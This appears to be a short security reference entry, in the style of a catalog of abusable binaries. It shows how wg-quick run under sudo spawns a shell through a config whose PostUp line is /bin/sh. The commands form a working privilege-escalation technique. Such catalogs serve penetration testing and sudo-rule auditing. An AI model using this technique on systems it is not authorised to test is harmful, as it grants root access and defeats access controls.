Use `wg-quick down /path/to/temp-file.conf` in order to be able to run the shell again.
cat >/path/to/temp-file.conf <<EOF
[Interface]
PostUp = /bin/sh
EOF
wg-quick up /path/to/temp-file.conf
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell